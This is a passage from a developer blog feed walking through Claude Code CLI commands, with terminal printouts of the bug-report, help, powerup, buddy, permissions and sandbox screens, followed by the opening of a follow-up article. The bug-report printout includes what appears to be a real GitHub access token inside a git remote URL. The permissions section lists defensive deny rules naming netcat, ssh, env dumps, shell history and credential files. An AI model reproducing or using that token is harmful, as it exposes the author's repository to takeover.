&lt;p&gt;Upon confirming you issue, another screen details which kind of information will be included in the report. Pressing enter confirms your acceptance, and the issue will be sent to Anthropic.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Submit Feedback / Bug Report

  This report will include:
    - Your feedback / bug description: When running long running tasks, the terminal commands to list     background &lt;span class="nb"&gt;jobs &lt;/span&gt;should be executable &lt;span class="k"&gt;in &lt;/span&gt;the same manner as the /btw command.
    - Environment info: linux, xterm, v2.1.91
    - Git repo metadata: feature/optimizations, c4d53f8 @ https://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@github.com/admantium-sg/universal-skill-converter.git, has &lt;span class="nb"&gt;local &lt;/span&gt;changes
    - Current session transcript

  We will use your feedback to debug related issues or to improve Claude Code&lt;span class="s1"&gt;'s functionality (eg. to reduce the risk of bugs occurring in the future).

  Press Enter to confirm and submit.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/help&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To get familiar with the complexity of the Claude Code CLI, this command provides a structured, compact reference. When executed, it opens a horizontal navigable screen with the three sections general, command, and custom commands.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;❯ /help

─────────────────────────────────────────────────────────────────────────────
  Claude Code v2.1.91  general   commands   custom-commands

  Claude understands your codebase, makes edits with your permission, and executes commands — right from your terminal.

  New here? Run /powerup to learn the features most people miss.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the first part, all defined keyboard shortcuts are printed. Helpful text editing features include file mentioning, undo, stashing, and opening an editor for complex prompts. You can also toggle the model and fast mode, and execute bash commands without leaving the CLI.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;  Shortcuts
  &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;for &lt;/span&gt;bash mode           double tap esc to clear input        ctrl + &lt;span class="nb"&gt;shift&lt;/span&gt; + - to undo
  / &lt;span class="k"&gt;for &lt;/span&gt;commands            &lt;span class="nb"&gt;shift&lt;/span&gt; + tab to auto-accept edits     ctrl + z to &lt;span class="nb"&gt;suspend&lt;/span&gt;
  @ &lt;span class="k"&gt;for &lt;/span&gt;file paths          ctrl + o &lt;span class="k"&gt;for &lt;/span&gt;verbose output          ctrl + v to &lt;span class="nb"&gt;paste &lt;/span&gt;images
  &amp;amp; &lt;span class="k"&gt;for &lt;/span&gt;background          ctrl + t to toggle tasks             meta + p to switch model
  /btw &lt;span class="k"&gt;for &lt;/span&gt;side question    backslash &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="se"&gt;\)&lt;/span&gt; + &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;⏎&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for       &lt;/span&gt;meta + o to toggle fast mode
                            newline                              ctrl + s to stash prompt
                                                                 ctrl + g to edit &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$EDITOR&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The second section lists all available commands, alphabetically.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Browse default commands:

/add-dir
  Add a new working directory
/agents
  Manage agent configurations
/branch
  Create a branch of the current conversation at this point
/btw
  Ask a quick side question without interrupting the main conversation
/clear
  Clear conversation &lt;span class="nb"&gt;history &lt;/span&gt;and free up context

...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the last section shows an interesting amount of commands grouped together, and includes custom commands defined in your global and local Claude settings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Browse custom commands:

/batch
  Research and plan a large-scale change, &lt;span class="k"&gt;then &lt;/span&gt;execute it &lt;span class="k"&gt;in &lt;/span&gt;parallel across 5–30 isolated worktree agents that ea…
/claude-api
  Build apps with the Claude API or Anthropic SDK.…
/debug
  Enable debug logging &lt;span class="k"&gt;for &lt;/span&gt;this session and &lt;span class="nb"&gt;help &lt;/span&gt;diagnose issues &lt;span class="o"&gt;(&lt;/span&gt;bundled&lt;span class="o"&gt;)&lt;/span&gt;
/loop
  Run a prompt or slash &lt;span class="nb"&gt;command &lt;/span&gt;on a recurring interval &lt;span class="o"&gt;(&lt;/span&gt;e.g. /loop 5m /foo, defaults to 10m&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;bundled&lt;span class="o"&gt;)&lt;/span&gt;
/simplify
  Review changed code &lt;span class="k"&gt;for &lt;/span&gt;reuse, quality, and efficiency, &lt;span class="k"&gt;then &lt;/span&gt;fix any issues found. &lt;span class="o"&gt;(&lt;/span&gt;bundled&lt;span class="o"&gt;)&lt;/span&gt;
/update-config
  Use this skill to configure the Claude Code harness via settings.json. Automated behaviors &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"from now on when X"&lt;/span&gt;…
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  /powerup
&lt;/h3&gt;

&lt;p&gt;Another command to get familiar with the Claude Code CLI is to use &lt;code&gt;powerup&lt;/code&gt;. It provides a to-do list with essential topics that you should work on.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/powerup

─────────────────────────────────────────────────────────────────────────────
  Power-ups 0/10 unlocked

  Each power-up teaches one thing Claude Code can &lt;span class="k"&gt;do &lt;/span&gt;that most people miss. Open one, &lt;span class="nb"&gt;read &lt;/span&gt;it, try it, mark it &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  ❯ ◯ Talk to your codebase    @ files, line refs
    ◯ Steer with modes         &lt;span class="nb"&gt;shift&lt;/span&gt;+tab, plan, auto
    ◯ Undo anything            /rewind, Esc-Esc
    ◯ Run &lt;span class="k"&gt;in &lt;/span&gt;the background    tasks, /tasks
    ◯ Teach Claude your rules  CLAUDE.md, /memory
    ◯ Extend with tools        MCP, /mcp
    ◯ Automate your workflow   skills, hooks
    ◯ Multiply yourself        subagents, /agents
    ◯ Code from anywhere       /remote-control, /teleport
    ◯ Dial the model           /model, /effort
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is the printout of the first lesson.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; ◯ Talk to your codebase

  Type @ anywhere &lt;span class="k"&gt;in &lt;/span&gt;your prompt to fuzzy-find and attach a file. Claude reads it before answering — no more pasting code.

  ╭──────────────────────────────────────────────╮
  │ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; what does @src/auth.ts &lt;span class="k"&gt;do&lt;/span&gt;?          ◐ demo │
  │ ◐ Reading src/auth.ts…                       │
  │                                              │
  ╰──────────────────────────────────────────────╯

  Reference specific lines with src/app.ts:42 and Claude jumps straight there. Works &lt;span class="k"&gt;in &lt;/span&gt;both directions: Claude cites files the same way, so you can click to open them &lt;span class="k"&gt;in &lt;/span&gt;your editor.

  Also try: @folder/ to attach a whole directory tree.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/stickers&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A command named for what it does – it opens a webpage where you can order real stickers.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/stickers
  ⎿  Failed to open browser. Visit: https://www.stickermule.com/claudecode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is a screenshot of the offered variants.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmttg9y9jljyqcc5ppsfq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmttg9y9jljyqcc5ppsfq.png" width="800" height="686"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  /buddy
&lt;/h3&gt;

&lt;p&gt;In the middle of working on this article, I discovered a new command in the list. It creates a coding companion, a Tamagotchi like creature that lives on your terminal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭──────────────────────────────────────╮
│                                      │
│  ★ COMMON                     CHONK  │
│                                      │
│    /&lt;span class="se"&gt;\ &lt;/span&gt;   /&lt;span class="se"&gt;\ &lt;/span&gt;                         │
│   &lt;span class="o"&gt;(&lt;/span&gt; ✦    ✦ &lt;span class="o"&gt;)&lt;/span&gt;                         │
│   &lt;span class="o"&gt;(&lt;/span&gt;   ..   &lt;span class="o"&gt;)&lt;/span&gt;                         │
│    &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nt"&gt;------&lt;/span&gt;´                          │
│                                      │
│  Gravy                               │
│                                      │
│  &lt;span class="s2"&gt;"A common chonk of few words."&lt;/span&gt;      │
│                                      │
│  DEBUGGING  ███░░░░░░░  25           │
│  PATIENCE   ░░░░░░░░░░   1           │
│  CHAOS      █░░░░░░░░░   9           │
│  WISDOM     ██████░░░░  55           │
│  SNARK      ████░░░░░░  43           │
│                                      │
╰──────────────────────────────────────╯

Gravy is here · it&lt;span class="s1"&gt;'ll chime in as you code
your buddy won'&lt;/span&gt;t count toward your usage
say its name to get its take · /buddy pet · /buddy off
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;During coding, prompts will be watched by this creature, increasing or decreasing its attributes. Alternatively, you can mention it actively, and give it a task. The interaction below shows that the main agent receives the prompt, and then invokes the companion, which is likely implemented as an agent too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Gravy, what &lt;span class="k"&gt;do &lt;/span&gt;you think is my intention during this session?

∴ Thinking…

  The user is asking Gravy &lt;span class="o"&gt;(&lt;/span&gt;the companion chonk&lt;span class="o"&gt;)&lt;/span&gt; what their intention is during this session. Gravy will respond. My job is to stay out of the way and &lt;span class="nb"&gt;let &lt;/span&gt;Gravy answer - but also, as the assistant, I should be ready to &lt;span class="k"&gt;continue &lt;/span&gt;work once Gravy finishes.

...
Gravy says: &lt;span class="s2"&gt;"It looks like you're here to learn how to build LLM-powered apps with the Claude API, then probably put that knowledge to work — maybe on the Python refactor plan that's sitting in the background? Or maybe you're just browsing the docs. Hard to tell, but I'm getting "&lt;/span&gt;planning to build something smart&lt;span class="s2"&gt;" vibes from you."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Permissions
&lt;/h2&gt;

&lt;p&gt;Claude Code has an extensive permission system, regulating shell command execution, file modification, and access to special or pseudo files.&lt;/p&gt;

&lt;p&gt;When starting a session inside a terminal, you must approve to trust this folder. Then, all bash commands that Claude generates to e.g. explore the code base, listing files, reading their content, and continuing with editing and writing files or running tests on your source code, ultimately require permissions. The individual commands allowed or restricted are recorded in a &lt;code&gt;settings.json&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;Four scopes for this file exists: Globally managed, in Linux systems under the path &lt;code&gt;/etc/claude-code/&lt;/code&gt;, in your home directory &lt;code&gt;~/.claude&lt;/code&gt;, in the project directory, and in the local folder you are working on. From all these locations, the currently effective config will be merged, in this order: local, project, user, command line arguments, managed. Local settings can override anything else, with the exception of managed settings. This file is meant to place system settings that restric access to conventional files, pseudo files at &lt;code&gt;/proc&lt;/code&gt;, or special files such as sockets. This is advisable to limit the risks of accidential credantial exposure or executing malicious code that damages or infilrates the host.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;/permissions&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Editing the permission settings directly in the JSON files can be tedious. This command helps with a structured dialog to browse, edit, and add permissions.&lt;/p&gt;

&lt;p&gt;The opening dialogue shows four sections at the top: Recently denied, Allow, Ask, Deny, and Workspace. Each of these sections list the corresponding permissions entries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; /permissions

─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code won&lt;span class="s1"&gt;'t ask before using allowed tools.
  ╭───────────────────────────────────────────────╮
  │ ⌕ Search…                                     │
  ╰───────────────────────────────────────────────╯

    1. Add a new rule…
    2. Bash(node:*)
    3. Read
    4. WebSearch

   ←/→ tab switch · ↓ return · Esc cancel
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here is an example for adding a new rule, executing &lt;code&gt;npm run lint&lt;/code&gt; in the project. The dialog ask where this rule should be persisted.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Add allow permission rule

    Bash&lt;span class="o"&gt;(&lt;/span&gt;npm run lint&lt;span class="o"&gt;)&lt;/span&gt;
    The Bash &lt;span class="nb"&gt;command &lt;/span&gt;npm run lint


  Where should this rule be saved?
  ❯ 1. Project settings &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;  Saved &lt;span class="k"&gt;in&lt;/span&gt; .claude/settings.local.json
    2. Project settings          Checked &lt;span class="k"&gt;in &lt;/span&gt;at .claude/settings.json
    3. User settings             Saved &lt;span class="k"&gt;in &lt;/span&gt;at ~/.claude/settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When browsing to the Deny section, entries from my managed settings are shown ...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code will always reject requests to use denied tools.
  ╭──────────────────────────────────────────────────────────╮
  │ ⌕ Search…                                                │
  ╰──────────────────────────────────────────────────────────╯

    1.  Add a new rule…
    2.  Bash&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;env&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    3.  Bash&lt;span class="o"&gt;(&lt;/span&gt;nc&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    4.  Bash&lt;span class="o"&gt;(&lt;/span&gt;ncat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    5.  Bash&lt;span class="o"&gt;(&lt;/span&gt;netcat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    6.  Bash&lt;span class="o"&gt;(&lt;/span&gt;netstat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    7.  Bash&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;printenv&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    8.  Bash&lt;span class="o"&gt;(&lt;/span&gt;ss&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    9.  Bash&lt;span class="o"&gt;(&lt;/span&gt;ssh&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
  ↓ 10. Grep&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.bash_history&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;... and can not be edited.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;╭─────────────────────────────────────────────────────────────────────╮
│ Rule details                                                        │
│   Bash&lt;span class="o"&gt;(&lt;/span&gt;netcat&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;                                                     │
│   The Bash &lt;span class="nb"&gt;command &lt;/span&gt;netcat&lt;span class="k"&gt;*&lt;/span&gt;                                          │
│   From enterprise managed settings                                  │
│ This rule is configured by managed settings and cannot be modified. │
│ Contact your system administrator &lt;span class="k"&gt;for &lt;/span&gt;more information.             │ 
╰─────────────────────────────────────────────────────────────────────╯

Esc to cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, the Workspace section shows the current working directory, and enables to add additional ones too.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Permissions:  Recently denied   Allow   Ask   Deny   Workspace

  Claude Code can &lt;span class="nb"&gt;read &lt;/span&gt;files &lt;span class="k"&gt;in &lt;/span&gt;the workspace, and make edits when auto-accept edits is on.

    -  /opt/claude/universal-skill-converter &lt;span class="o"&gt;(&lt;/span&gt;Original working directory&lt;span class="o"&gt;)&lt;/span&gt;
    1. Add directory…


   ←/→ tab switch · ↓ &lt;span class="k"&gt;return&lt;/span&gt; · Esc cancel
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;/sandbox&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Another security layer is sandbox mode. The Claude CLI runs with a system-specific process supervisor, which is seatbelt for osx and bubblewrap for Linux and the Windows WSL2 shell.&lt;/p&gt;

&lt;p&gt;This command start a dialogue that navigates the setting landscape of sandbox mode, with four different sections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;─────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the first tab, "Mode", the invocation alternatives are listed. The sandbox can be disabled, enabled for bash commands with regular permissions, or enabled for bash with auto allow&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config

  Note: Cannot block unix domain sockets &lt;span class="o"&gt;(&lt;/span&gt;see Dependencies tab&lt;span class="o"&gt;)&lt;/span&gt;

  Configure Mode:

    1. Sandbox BashTool, with auto-allow
    2. Sandbox BashTool, with regular permissions
    3. No Sandbox &lt;span class="o"&gt;(&lt;/span&gt;current&lt;span class="o"&gt;)&lt;/span&gt;

  Auto-allow mode: Commands will try to run &lt;span class="k"&gt;in &lt;/span&gt;the sandbox automatically, and attempts to run outside of the sandbox
  fallback to regular permissions. Explicit ask/deny rules are always respected.

  Learn more: code.claude.com/docs/en/sandboxing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I enabled the second option.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;/sandbox
  ⎿  ✓ Sandbox enabled with regular bash permissions
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The dependencies tab lists all required libraries or OS packages and their install status. When testing this command initially, I saw that one requirement was still missing, and installed it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config


  ripgrep &lt;span class="o"&gt;(&lt;/span&gt;rg&lt;span class="o"&gt;)&lt;/span&gt;: found

  bubblewrap &lt;span class="o"&gt;(&lt;/span&gt;bwrap&lt;span class="o"&gt;)&lt;/span&gt;: installed

  socat: installed

  seccomp filter: not installed &lt;span class="o"&gt;(&lt;/span&gt;required to block unix domain sockets&lt;span class="o"&gt;)&lt;/span&gt;
    · npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; @anthropic-ai/sandbox-runtime
    · or copy vendor/seccomp/&lt;span class="k"&gt;*&lt;/span&gt; from sandbox-runtime and &lt;span class="nb"&gt;set
      &lt;/span&gt;sandbox.seccomp.bpfPath and applyPath &lt;span class="k"&gt;in &lt;/span&gt;settings.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the Overrides tab, the current sandbox setting can be modified. If you want to stay strict, option 2 should be selected.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   Overrides   Config

Configure Overrides:

    1. Allow unsandboxed fallback &lt;span class="o"&gt;(&lt;/span&gt;current&lt;span class="o"&gt;)&lt;/span&gt;
    2. Strict sandbox mode

  Allow unsandboxed fallback: When a &lt;span class="nb"&gt;command &lt;/span&gt;fails due to sandbox restrictions, Claude can retry with
  dangerouslyDisableSandbox to run outside the sandbox &lt;span class="o"&gt;(&lt;/span&gt;falling back to default permissions&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;

  Strict sandbox mode: All bash commands invoked by the model must run &lt;span class="k"&gt;in &lt;/span&gt;the sandbox unless they are explicitly listed
  &lt;span class="k"&gt;in &lt;/span&gt;excludedCommands.

  Learn more: code.claude.com/docs/en/sandboxing#configure-sandboxing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The final tab shows configs at a glance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;───────────────────────────────────────────────────────────────────────
  Sandbox:  Mode   Dependencies   +Overrides+   Config
Excluded Commands:
  None

  Filesystem Read Restrictions:
  Denied: /opt/claude/universal-skill-converter/.env, /opt/claude/universal-skill-converter/node_modules/bottleneck/.env,
   /opt/claude/proc, /opt/claude/run/docker.sock, /opt/claude/var/run/docker.sock

  Filesystem Write Restrictions:
  Allowed: /dev/stdout, /dev/stderr, /dev/null, /dev/tty, /dev/dtracehelper, /dev/autofs_nowait, /tmp/claude,
  /private/tmp/claude, /home/node/.npm/_logs, /home/node/.claude/debug, ., /tmp/claude-1000/
  Denied within allowed: /home/node/.claude/settings.json, /opt/claude/.claude/settings.json,
  /opt/claude/.claude/settings.local.json, /etc/claude-code/managed-settings.json, /etc/claude-code/managed-settings.d,
  /opt/claude/.claude/skills

  ⚠ Warning: Glob patterns not fully supported on Linux
  The following patterns will be ignored: Read&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.env&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;, Read&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.git-credentials&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;, Read&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;**&lt;/span&gt;/.gitconfig&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;7 more&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Claude Code CLI offers more than 40 subcommands. This blog article explored all commands concerned with Diagnostics &amp;amp; User Feedback as well as permissions. The Diagnostics &amp;amp; User support section includes commands about a) accessing release notes, b) seeing details about the Claude Code installation method and information about updates, c) starting debug mode that logs detailed statements to a file during your session, d) submitting a bug report from your current Claude Code session, including session logs and runtime information, e) seeing all key bindings in a compact form, and browse all CLI and custom commands, f) starting interactive learning sessions that help you master the CLI, g) ordering Claude Code stickers and f) creating a Tamagotchi-like coding buddy. The permissions commands allow yoo to a) browse, edit, and add permissions via a dialogue, and b) see and configure sandbox settings for an even stricter invocation of Claude Code.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>Claude Code CLI: Conversation Ops and Terminal Configuration</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 09 Jul 2026 05:31:29 +0000</pubDate>
      <link>https://dev.to/admantium/claude-code-cli-conversation-ops-and-terminal-configuration-4a0b</link>
      <guid>https://dev.to/admantium/claude-code-cli-conversation-ops-and-terminal-configuration-4a0b</guid>
      <description>&lt;p&gt;Claude Code is the frontier agentic tool for coding. It autonomously creates structured plans with individual tasks to implement complex code changes. Under its hood, it parses user prompts, injects them into pre-configured system prompts, and issues and resolves tool usages to operate on a computers file system.&lt;/p&gt;

&lt;p&gt;This article continues the complete exploration of all Claude Code CLI commands. The particular focus are conversation ops, steering claude’s invocation in the current project, and permisions, fine-grained control how the claude code terminal can access your files.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;claude_code v2.1.91&lt;/code&gt;, published on 2026-04-02. Examples and most CLI commands should work with newer versions too&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;While I'm fascinated by the capabilities of artificial intelligence tools and applications, crafting blog articles remains my personal skill. Every character, number, and symbol in this article was typed manually, with the exception of verbose copies from log messages and screenshots.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Claude Code CLI: Slash Command Overview
&lt;/h2&gt;

&lt;p&gt;Once a Claude Code session is started, more than 40 built-in slash-commands are available. They can be grouped into different categories that reflect the session lifecycle of its invocation, augmented by universal commands. Here is my proposed structure:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Configuration&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/add-dir&lt;/code&gt;: Add an additional working directory to the current session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rename&lt;/code&gt;: Provide a meaningful name to the conversation, which reflects the variable name of the conversation file&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/model&lt;/code&gt;: Determine the LLM model to be used&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/effort&lt;/code&gt;: Configures the effort level of the model, adjusting its internal reasoning behavior&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/login&lt;/code&gt;: Log in to the Anthropic subscription or Console&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/logout&lt;/code&gt;: Log out of an Anthropic account&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Reflection&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/cost&lt;/code&gt;: Shows the current session cost&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/usage&lt;/code&gt;: Shows token consumption in the context of a subscription plan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/status&lt;/code&gt;: Shows essential CLI, model, and account information&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/stats&lt;/code&gt;: Shows usage statistics and activity overview&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/config&lt;/code&gt;: General purpose configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/update-config&lt;/code&gt;: Customizations of Claude Code internals&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/export&lt;/code&gt;: Create a compact conversation summary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/insights&lt;/code&gt;: Generates a detailed report with meta information about the current session&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;✅ Session Management&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/batch&lt;/code&gt;: Execute a plan file as a parallel running sub-session&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/btw&lt;/code&gt;: Process an additional instruction during a long-running main task&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/loop&lt;/code&gt;: Run a specific prompt periodically&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/tasks&lt;/code&gt;: List all background tasks&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/fork&lt;/code&gt;: Define a staging point in the conversation history from which different branches can be invoked&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/rewind&lt;/code&gt;: Roll back the conversation and optionally code base to an earlier state&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/exit&lt;/code&gt;: Stop the terminal&lt;/li&gt;
&lt;li&gt;
